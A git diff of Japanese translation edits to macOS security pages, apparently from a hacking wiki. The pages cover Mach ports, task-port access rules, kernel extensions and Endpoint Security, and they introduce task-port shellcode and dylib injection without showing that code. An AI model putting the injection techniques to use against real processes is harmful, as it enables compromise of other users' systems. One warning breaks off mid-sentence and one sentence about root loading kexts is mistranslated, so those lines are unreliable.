Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-03 06:43:54 +00:00
parent ea363e651b
commit 9cc1a4acad
254 changed files with 2634 additions and 2674 deletions

View File

@ -4,21 +4,21 @@
## XNU Kernel ## XNU Kernel
**macOSのコアはXNUです**。これは「X is Not Unix」の略です。このカーネルは基本的に**Machマイクロカーネル**(後で説明します)と**Berkeley Software DistributionBSD**の要素で構成されています。XNUはまた、**I/O Kitというシステムを介してカーネルドライバのプラットフォームを提供します**。XNUカーネルはDarwinオープンソースプロジェクトの一部であり、**そのソースコードは自由にアクセス可能です**。 macOSの**コアはXNU**であり、"X is Not Unix"の略です。このカーネルは基本的に**Machマイクロカーネル**(後で説明します)と**Berkeley Software DistributionBSD**の要素で構成されています。XNUはまた、**I/O Kitというシステムを介してカーネルドライバのプラットフォームを提供します**。XNUカーネルはDarwinオープンソースプロジェクトの一部であり、**そのソースコードは自由にアクセス可能です**。
セキュリティ研究者やUnix開発者の視点から見ると、**macOS**は**FreeBSD**システムに非常に**似ている**と感じるかもしれません。洗練されたGUIと多数のカスタムアプリケーションがあります。BSD向けに開発されたほとんどのアプリケーションは、macOS上で修正なしにコンパイルおよび実行できます。Unixユーザーに馴染みのあるコマンドラインツールはすべてmacOSに存在します。しかし、XNUカーネルがMachを取り入れているため、従来のUnixライクなシステムとmacOSの間にはいくつかの重要な違いがあり、これらの違いが潜在的な問題を引き起こしたり、独自の利点を提供したりする可能性があります。 セキュリティ研究者やUnix開発者の視点から見ると、**macOS**は**FreeBSD**システムに非常に**似ている**と感じるかもしれません。洗練されたGUIと多数のカスタムアプリケーションがあります。BSD向けに開発されたほとんどのアプリケーションは、macOS上で修正なしにコンパイルおよび実行できます。Unixユーザーに馴染みのあるコマンドラインツールはすべてmacOSに存在します。しかし、XNUカーネルがMachを組み込んでいるため、従来のUnixライクなシステムとmacOSの間にはいくつかの重要な違いがあり、これらの違いが潜在的な問題を引き起こしたり、独自の利点を提供したりする可能性があります。
XNUのオープンソース版: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) XNUのオープンソース版: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach ### Mach
Machは**UNIX互換**に設計された**マイクロカーネル**です。その主要な設計原則の1つは、**カーネル**空間で実行される**コード**の量を**最小限に抑え**、ファイルシステム、ネットワーキング、I/Oなどの多くの典型的なカーネル機能を**ユーザーレベルのタスクとして実行できるようにすること**でした。 Machは**UNIX互換**のために設計された**マイクロカーネル**です。その主要な設計原則の1つは、**カーネル**空間で実行される**コード**の量を**最小限に抑え**、ファイルシステム、ネットワーキング、I/Oなどの多くの典型的なカーネル機能を**ユーザーレベルのタスクとして実行できるようにすること**でした。
XNUでは、Machはカーネルが通常処理する多くの重要な低レベル操作、例えばプロセッサスケジューリング、マルチタスク、および仮想メモリ管理を**担当しています**。 XNUでは、Machはカーネルが通常処理する多くの重要な低レベル操作、例えばプロセッサスケジューリング、マルチタスク、仮想メモリ管理を**担当しています**。
### BSD ### BSD
XNUの**カーネル**は、**FreeBSD**プロジェクトから派生したかなりの量のコードも**取り入れています**。このコードは**Machとともにカーネルの一部として同じアドレス空間で実行されます**。ただし、XNU内のFreeBSDコードは、Machとの互換性を確保するために修正が必要だったため、元のFreeBSDコードとは大きく異なる場合があります。FreeBSDは以下を含む多くのカーネル操作に寄与しています XNUの**カーネル**は、**FreeBSD**プロジェクトから派生したかなりの量のコードも**組み込んでいます**。このコードは**Machと共にカーネルの一部として同じアドレス空間で実行されます**。しかし、XNU内のFreeBSDコードは、Machとの互換性を確保するために修正が必要だったため、元のFreeBSDコードとは大きく異なる場合があります。FreeBSDは以下を含む多くのカーネル操作に寄与しています
- プロセス管理 - プロセス管理
- シグナル処理 - シグナル処理
@ -47,7 +47,7 @@ macos-iokit.md
## macOS Kernel Extensions ## macOS Kernel Extensions
macOSは**カーネル拡張**.kextをロードすることに非常に制限があります。これは、そのコードが高い特権で実行されるためです。実際、デフォルトではバイパスが見つからない限り、ほぼ不可能です。 macOSは**カーネル拡張**.kextをロードすることに対して**非常に制限が厳しい**です。これは、そのコードが高い特権で実行されるためです。実際、デフォルトではバイパスが見つからない限り、ほぼ不可能です。
次のページでは、macOSがその**kernelcache**内でロードする`.kext`を回復する方法も見ることができます: 次のページでは、macOSがその**kernelcache**内でロードする`.kext`を回復する方法も見ることができます:
@ -57,7 +57,7 @@ macos-kernel-extensions.md
### macOS System Extensions ### macOS System Extensions
カーネル拡張の代わりに、macOSはシステム拡張を作成しました。これにより、カーネルと相互作用するためのユーザーレベルのAPIが提供されます。この方法、開発者はカーネル拡張を使用することを避けることができます。 カーネル拡張の代わりに、macOSはシステム拡張を作成しました。これにより、カーネルと相互作用するためのユーザーレベルのAPIが提供されます。この方法により、開発者はカーネル拡張を使用することを避けることができます。
{{#ref}} {{#ref}}
macos-system-extensions.md macos-system-extensions.md

View File

@ -8,11 +8,11 @@
Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされます**。 Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされます**。
タスク間の通信はMach Inter-Process Communication (IPC)を介して行われ、一方向の通信チャネルを利用します。**メッセージはポート間で転送され**、これらはカーネルによって管理される**メッセージキュー**のように機能します。 タスク間の通信はMach Inter-Process Communication (IPC)を介して行われ、一方向の通信チャネルを利用します。**メッセージはポート間で転送され**、ポートはカーネルによって管理される**メッセージキュー**のように機能します。
各プロセスには**IPCテーブル**があり、そこには**プロセスのmachポート**を見つけることができます。machポートの名前は実際には番号カーネルオブジェクトへのポインタです。 各プロセスには**IPCテーブル**があり、そこには**プロセスのmachポート**を見つけることができます。machポートの名前は実際には番号カーネルオブジェクトへのポインタです。
プロセスはまた、**異なるタスクにポート名を権利と共に送信**することができ、カーネルはこのエントリを**他のタスクのIPCテーブル**に表示させます。 プロセスは**異なるタスク**にポート名を権利と共に送信することもでき、カーネルは**他のタスクのIPCテーブル**にこのエントリを表示させます。
### ポート権限 ### ポート権限
@ -21,12 +21,12 @@ Machはリソースを共有するための**最小単位**として**タスク*
- **受信権限**は、ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC複数のプロデューサー、単一のコンシューマーキューであり、システム全体で**各ポートに対して1つの受信権限**しか存在できませんパイプとは異なり、複数のプロセスが1つのパイプの読み取り端にファイルディスクリプタを保持できます - **受信権限**は、ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC複数のプロデューサー、単一のコンシューマーキューであり、システム全体で**各ポートに対して1つの受信権限**しか存在できませんパイプとは異なり、複数のプロセスが1つのパイプの読み取り端にファイルディスクリプタを保持できます
- **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**することができ、メッセージを送信することができます。元々は**自分のタスクのみがポートに対して受信権限を持っています** - **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**することができ、メッセージを送信することができます。元々は**自分のタスクのみがポートに対して受信権限を持っています**
- **送信権限**は、ポートにメッセージを送信することを許可します。 - **送信権限**は、ポートにメッセージを送信することを許可します。
- 送信権限は**クローン**可能で、送信権限を持つタスクはその権限をクローンし、**第三のタスクに付与**することができます。 - 送信権限は**クローン**可能で、送信権限を持つタスクはその権限をクローンし、**第三のタスクに付与**できます。
- **一度だけ送信権限**は、ポートに1つのメッセージを送信し、その後消失します。 - **一度だけ送信権限**は、ポートに1つのメッセージを送信し、その後消失します。
- **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。 - **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。
- **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限はデッドネームに変わります。 - **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限はデッドネームに変わります。
**タスクは他のタスクにSEND権限を転送**でき、メッセージを返送することが可能になります。**SEND権限もクローン可能で、タスクはその権限を複製し、第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスと組み合わせて、タスク間の効果的な通信が可能になります。 **タスクは他のタスクに送信権限を転送**でき、メッセージを返送することが可能になります。**送信権限もクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスと組み合わせて、タスク間の効果的な通信が可能になります。
### ファイルポート ### ファイルポート
@ -43,9 +43,9 @@ Machはリソースを共有するための**最小単位**として**タスク*
3. タスク**A**は**ブートストラップサーバー**との**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録と呼ばれる手続きで提供します。 3. タスク**A**は**ブートストラップサーバー**との**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録と呼ばれる手続きで提供します。
4. タスク**B**は**ブートストラップサーバー**と対話し、サービス名のブートストラップ**ルックアップ**を実行します。成功すると、**サーバーはタスクAから受け取った送信権限を複製し、タスクBに**送信します。 4. タスク**B**は**ブートストラップサーバー**と対話し、サービス名のブートストラップ**ルックアップ**を実行します。成功すると、**サーバーはタスクAから受け取った送信権限を複製し、タスクBに**送信します。
5. 送信権限を取得したタスク**B**は、**メッセージを作成**し、**タスクAに送信**することができます。 5. 送信権限を取得したタスク**B**は、**メッセージを作成**し、**タスクAに送信**することができます。
6. 双方向通信のために、通常タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクAに与え**タスクBにメッセージを送信できるようにします双方向通信 6. 双方向通信のために、通常タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクAに与え**タスクBにメッセージを送信できるようにします双方向通信
ブートストラップサーバーは、タスクが主張するサービス名を**認証できません**。これは、**タスク**が任意のシステムタスクを**なりすます**可能性があることを意味し、偽の**認証サービス名を主張**し、すべてのリクエストを承認することができます。 ブートストラップサーバーは、タスクが主張するサービス名を**認証できません**。これは、**タスク**が任意のシステムタスクを**偽装する可能性がある**ことを意味し、例えば、誤って**認証サービス名を主張し、すべてのリクエストを承認する**ことができます。
その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に加えて、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。 その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に加えて、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
@ -55,15 +55,15 @@ Machはリソースを共有するための**最小単位**として**タスク*
- **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。 - **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。
- タスク**A**(サービス)は**ブートストラップチェックイン**を行います。ここで、**ブートストラップ**サーバーは送信権限を作成し、それを保持し、**受信権限をタスクAに転送します**。 - タスク**A**(サービス)は**ブートストラップチェックイン**を行います。ここで、**ブートストラップ**サーバーは送信権限を作成し、それを保持し、**受信権限をタスクAに転送します**。
- launchdは**送信権限を複製し、タスクBに送信します**。 - launchdは**送信権限を複製し、タスクBに送信します**。
- タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクA**svcに与え、タスクBにメッセージを送信できるようにします双方向通信 - タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクA**svcに与え、タスクBにメッセージを送信できるようにします双方向通信
ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは元の説明通りに動作し、なりすましを許可する可能性があります。 ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは元の説明通りに動作し、偽装を許可する可能性があります。
### Machメッセージ ### Machメッセージ
[こちらで詳細情報を見つけてください](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) [こちらで詳細情報を見つけ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg`関数は、実質的にシステムコールであり、Machメッセージの送信と受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体はのように定義されています: `mach_msg`関数は、実質的にシステムコールであり、Machメッセージの送信と受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体は以下のように定義されています:
```c ```c
typedef struct { typedef struct {
mach_msg_bits_t msgh_bits; mach_msg_bits_t msgh_bits;
@ -74,9 +74,9 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id; mach_msg_id_t msgh_id;
} mach_msg_header_t; } mach_msg_header_t;
``` ```
プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する権利**_ が付与されます。一度だけ送信する権利は、単一のメッセージを送信するためのもので、その後無効になります。 プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する権利**_ が付与されます。一度だけ送信する権利は、単一のメッセージを送信するためのもので、その後無効になります。
簡単な **双方向通信** を実現するために、プロセスはメッセージの **ヘッダー**ある **machポート** を指定できます。このポートは _返信ポート_ (**`msgh_local_port`**) と呼ばれ、メッセージの **受信者** がこのメッセージに **返信を送信** できる場所です。**`msgh_bits`** のビットフラグを使用して、このポートに対して **一度だけ送信する権利** を導出し、転送することができます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。 簡単な **双方向通信** を実現するために、プロセスはメッセージの Mach **ヘッダー**_返信ポート_ (**`msgh_local_port`**) と呼ばれ**machポート** を指定できます。ここで、メッセージの **受信者** はこのメッセージに **返信を送信** できます。**`msgh_bits`** のビットフラグを使用して、このポートに対して **一度だけ送信する権利** を導出し、転送することができます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
> [!TIP] > [!TIP]
> この種の双方向通信は、リプレイを期待するXPCメッセージで使用されることに注意してください (`xpc_connection_send_message_with_reply` および `xpc_connection_send_message_with_reply_sync`)。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。 > この種の双方向通信は、リプレイを期待するXPCメッセージで使用されることに注意してください (`xpc_connection_send_message_with_reply` および `xpc_connection_send_message_with_reply_sync`)。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
@ -85,13 +85,11 @@ mach_msg_id_t msgh_id;
- `msgh_size`: パケット全体のサイズ。 - `msgh_size`: パケット全体のサイズ。
- `msgh_remote_port`: このメッセージが送信されるポート。 - `msgh_remote_port`: このメッセージが送信されるポート。
- `msgh_voucher_port`: [machバウチャー](https://robert.sesek.com/2023/6/mach_vouchers.html)。 - `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)。
- `msgh_id`: このメッセージのIDで、受信者によって解釈されます。 - `msgh_id`: このメッセージのIDで、受信者によって解釈されます。
> [!CAUTION] > [!CAUTION]
> **machメッセージは\_machポート**\_を介して送信されます。これは、machカーネルに組み込まれた **単一受信者**、**複数送信者** の通信チャネルです。**複数のプロセス**がmachポートに **メッセージを送信** できますが、いつでも **単一のプロセスのみが** そこから読み取ることができます。 > **machメッセージは \_machポート**\_ を介して送信され、これは **単一
### ポートの列挙
```bash ```bash
lsmp -p <pid> lsmp -p <pid>
``` ```
@ -99,7 +97,7 @@ lsmp -p <pid>
### コード例 ### コード例
**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のため**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使て**メッセージを送信**しました。 **送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のため**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
{{#tabs}} {{#tabs}}
{{#tab name="receiver.c"}} {{#tab name="receiver.c"}}
@ -227,16 +225,16 @@ printf("Sent a message\n");
### 特権ポート ### 特権ポート
- **ホストポート**: プロセスがこのポートに対して**Send**権限を持っている場合、**システム**に関する**情報**を取得できます(例: `host_processor_info`)。 - **ホストポート**: プロセスがこのポートに対して**送信**権限を持っている場合、**システム**に関する**情報**を取得できます(例: `host_processor_info`)。
- **ホスト特権ポート**: このポートに対して**Send**権限を持つプロセスは、カーネル拡張を読み込むなどの**特権アクション**を実行できます。この**権限を得るにはプロセスがrootである必要があります**。 - **ホスト特権ポート**: このポートに対して**送信**権限を持つプロセスは、カーネル拡張を読み込むなどの**特権アクション**を実行できます。この**権限を得るにはプロセスがルートである必要があります**。
- さらに、**`kext_request`** APIを呼び出すには、他の権**`com.apple.private.kext*`**を持っている必要があり、これはAppleのバイナリにのみ付与されます。 - さらに、**`kext_request`** APIを呼び出すには、他の権**`com.apple.private.kext*`**を持っている必要があり、これはAppleのバイナリにのみ付与されます。
- **タスク名ポート**: _タスクポート_の特権のないバージョンです。タスクを参照しますが、制御することはできません。これを通じて利用できる唯一のものは`task_info()`のようです。 - **タスク名ポート**: _タスクポート_の特権のないバージョンです。タスクを参照しますが、制御することはできません。これを通じて利用可能な唯一のものは`task_info()`のようです。
- **タスクポート**(別名カーネルポート)**:** このポートに対してSend権限を持つことで、タスクを制御することが可能です(メモリの読み書き、スレッドの作成など)。 - **タスクポート**(別名カーネルポート)**:** このポートに対して送信権限を持つことで、タスクを制御することが可能です(メモリの読み書き、スレッドの作成など)。
- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前**を取得します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリ内の`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。 - `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前を取得**します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリ内の`exec()`後にタスクも新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
- これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity``macos_task_policy`から): - これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity``macos_task_policy`から):
- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスがタスクポートにアクセスできます**通常はデバッグのためにXcodeによって追加されます。**ノータリゼーション**プロセスは、これを製品リリースには許可しません。 - アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスがタスクポートにアクセスできます**通常はデバッグのためにXcodeによって追加されます。**ノータリゼーション**プロセスは、これを製品リリースには許可しません。
- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。 - **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
- **Rootは、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます**Apple製でないもの - **ルートは、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます**Apple製でないもの
### タスクポート経由のスレッドへのシェルコード注入 ### タスクポート経由のスレッドへのシェルコード注入
@ -502,9 +500,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
macOSでは、**スレッド**は**Mach**または**posix `pthread` API**を使用して操作できます。前回のインジェクションで生成したスレッドはMach APIを使用して生成されたため、**posix準拠ではありません**。 macOSでは、**スレッド**は**Mach**または**posix `pthread` API**を使用して操作できます。前回のインジェクションで生成したスレッドはMach APIを使用して生成されたため、**posix準拠ではありません**。
**posix**準拠のAPIを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入する**ことが可能でした。**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**。 **posix**準拠のAPIを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入することが可能でした**しかし、**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**。
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。次に、この新しいpthreadが**dlopenを呼び出して**システムから**dylibをロード**できるようになります。異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。 したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。次に、この新しいpthreadが**dlopenを呼び出して**システムから**dylibをロード**できるようになります。これにより、異なるアクションを実行するために新しいシェルコードを書くのではなく、カスタムライブラリをロードすることが可能です。
**例のdylibs**は以下にあります(例えば、ログを生成し、その後リスニングできるもの): **例のdylibs**は以下にあります(例えば、ログを生成し、その後リスニングできるもの):
@ -802,7 +800,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
### 基本情報 ### 基本情報
XPCは、macOSおよびiOS上のプロセス間通信のためのフレームワークで、XNUmacOSで使用されるカーネル意味します。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にします。これにより、侵害されたプロセスからの潜在的な損害を制限します。 XPCは、macOSおよびiOS上の**プロセス間通信**のためのフレームワークで、XNUmacOSで使用されるカーネルします。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
この**通信がどのように機能するか**、およびそれが**どのように脆弱である可能性があるか**についての詳細は、以下を確認してください: この**通信がどのように機能するか**、およびそれが**どのように脆弱である可能性があるか**についての詳細は、以下を確認してください:

View File

@ -16,7 +16,7 @@
- カーネル拡張は **カーネルコード署名証明書で署名されている必要があり**、これは **Appleによってのみ付与されます**。誰が会社とその必要性を詳細にレビューします。 - カーネル拡張は **カーネルコード署名証明書で署名されている必要があり**、これは **Appleによってのみ付与されます**。誰が会社とその必要性を詳細にレビューします。
- カーネル拡張は **ノータライズされている必要があり**、Appleはそれをマルウェアのチェックができます。 - カーネル拡張は **ノータライズされている必要があり**、Appleはそれをマルウェアのチェックができます。
- 次に、**root** ユーザーが **カーネル拡張をロードできる**唯一のユーザーであり、パッケージ内のファイルは **rootに属している必要があります**。 - 次に、**root** ユーザーが **カーネル拡張をロードできる**のは、パッケージ内のファイルが **rootに属している必要があります**。
- アップロードプロセス中、パッケージは **保護された非rootの場所** に準備される必要があります:`/Library/StagedExtensions``com.apple.rootless.storage.KernelExtensionManagement` の付与が必要です)。 - アップロードプロセス中、パッケージは **保護された非rootの場所** に準備される必要があります:`/Library/StagedExtensions``com.apple.rootless.storage.KernelExtensionManagement` の付与が必要です)。
- 最後に、ロードを試みると、ユーザーは [**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 。受け入れられた場合、コンピュータは **再起動** されてロードされる必要があります。 - 最後に、ロードを試みると、ユーザーは [**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 。受け入れられた場合、コンピュータは **再起動** されてロードされる必要があります。
@ -25,9 +25,9 @@
カタリナでは次のようでした:**検証** プロセスは **ユーザーランド** で行われることに注目することが興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**`kextcache``kextload``kextutil``kextd``syspolicyd` カタリナでは次のようでした:**検証** プロセスは **ユーザーランド** で行われることに注目することが興味深いです。しかし、**`com.apple.private.security.kext-management`** の付与を持つアプリケーションのみが **カーネルに拡張をロードするよう要求できます**`kextcache``kextload``kextutil``kextd``syspolicyd`
1. **`kextutil`** cli **が** 拡張のロードのための **検証** プロセスを **開始します** 1. **`kextutil`** cli **が** 拡張のロードのための **検証** プロセスを **開始します**
- **Machサービス** を使用して **`kextd`** に送信します。 - **Machサービス** を使用して **`kextd`** に話しかけます。
2. **`kextd`** は、**署名** などのいくつかのことをチェックします 2. **`kextd`** は、**署名** などのいくつかのことをチェックします
- 拡張が **ロードできるかどうかを確認するために** **`syspolicyd`** に話します。 - 拡張が **ロードできるかどうかを確認するために** **`syspolicyd`** に話しかけます。
3. **`syspolicyd`** は、拡張が以前にロードされていない場合、**ユーザーにプロンプトを表示します**。 3. **`syspolicyd`** は、拡張が以前にロードされていない場合、**ユーザーにプロンプトを表示します**。
- **`syspolicyd`** は結果を **`kextd`** に報告します。 - **`syspolicyd`** は結果を **`kextd`** に報告します。
4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できる**ようになります。 4. **`kextd`** は最終的に **カーネルに拡張をロードするよう指示できる**ようになります。
@ -47,7 +47,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
> [!CAUTION] > [!CAUTION]
> カーネル拡張は `/System/Library/Extensions/` にあると予想されていますが、このフォルダーに行っても **バイナリは見つかりません**。これは **kernelcache** のためであり、`.kext` を逆コンパイルするには、それを取得する方法を見つける必要があります。 > カーネル拡張は `/System/Library/Extensions/` にあると予想されていますが、このフォルダーに行っても **バイナリは見つかりません**。これは **kernelcache** のためであり、`.kext` を逆コンパイルするには、それを取得する方法を見つける必要があります。
**kernelcache** は **XNUカーネルの事前コンパイルおよび事前リンクされたバージョン**であり、重要なデバイス **ドライバ** と **カーネル拡張** が含まれています。これは **圧縮** 形式で保存され、起動プロセス中にメモリに展開されます。kernelcache は、カーネルと重要なドライバの実行準備が整ったバージョンを利用することで **起動時間を短縮** し、起動時にこれらのコンポーネントを動的に読み込んでリンクするのにかかる時間とリソースを削減します。 **kernelcache** は **XNUカーネルの事前コンパイルおよび事前リンクされたバージョン**であり、重要なデバイス **ドライバ** と **カーネル拡張** が含まれています。これは **圧縮** 形式で保存され、起動プロセス中にメモリに展開されます。kernelcache は、カーネルと重要なドライバの実行準備が整ったバージョンを利用することで **起動時間を短縮** し、起動時にこれらのコンポーネントを動的に読み込んでリンクするのにかかる時間とリソースを削減します。
### Local Kerlnelcache ### Local Kerlnelcache
@ -58,9 +58,9 @@ iOS では **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** に
#### IMG4 #### IMG4
IMG4 ファイル形式は、Apple が iOS および macOS デバイスで **ファームウェア** コンポーネント(**kernelcache** など)を安全に **保存および検証** するために使用するコンテナ形式です。IMG4 形式にはヘッダーと、実際のペイロード(カーネルやブートローダーなど)、署名、および一連のマニフェストプロパティをカプセル化するいくつかのタグが含まれています。この形式は暗号的検証をサポートしており、デバイスがファームウェアコンポーネントを実行する前にその真正性と整合性を確認できるようにします。 IMG4 ファイル形式は、Apple が iOS および macOS デバイスで **ファームウェア** コンポーネント(**kernelcache** など)を安全に **保存および検証** するために使用するコンテナ形式です。IMG4 形式にはヘッダーと、実際のペイロード(カーネルやブートローダーなど)、署名、および一連のマニフェストプロパティをカプセル化するいくつかのタグが含まれています。この形式は暗号的検証をサポートしており、デバイスがファームウェアコンポーネントを実行する前にその真正性と整合性を確認できるようにします。
通常、のコンポーネントで構成されています: 通常、以下のコンポーネントで構成されています:
- **Payload (IM4P)**: - **Payload (IM4P)**:
- よく圧縮されている (LZFSE4, LZSS, …) - よく圧縮されている (LZFSE4, LZSS, …)

View File

@ -32,7 +32,7 @@ Endpoint Securityは、AppleがmacOSで提供するフレームワークで、
このフレームワークのコアはカーネルに実装されており、**`/System/Library/Extensions/EndpointSecurity.kext`**にあるカーネル拡張KEXTです。このKEXTは、いくつかの重要なコンポーネントで構成されています このフレームワークのコアはカーネルに実装されており、**`/System/Library/Extensions/EndpointSecurity.kext`**にあるカーネル拡張KEXTです。このKEXTは、いくつかの重要なコンポーネントで構成されています
- **EndpointSecurityDriver**: これはカーネル拡張の「エントリーポイント」として機能します。OSとEndpoint Securityフレームワークの主な相互作用のポイントです。 - **EndpointSecurityDriver**: これはカーネル拡張の「エントリーポイント」として機能します。OSとEndpoint Securityフレームワークの間の主な相互作用のポイントです。
- **EndpointSecurityEventManager**: このコンポーネントはカーネルフックを実装する責任があります。カーネルフックにより、フレームワークはシステムコールを傍受することでシステムイベントを監視できます。 - **EndpointSecurityEventManager**: このコンポーネントはカーネルフックを実装する責任があります。カーネルフックにより、フレームワークはシステムコールを傍受することでシステムイベントを監視できます。
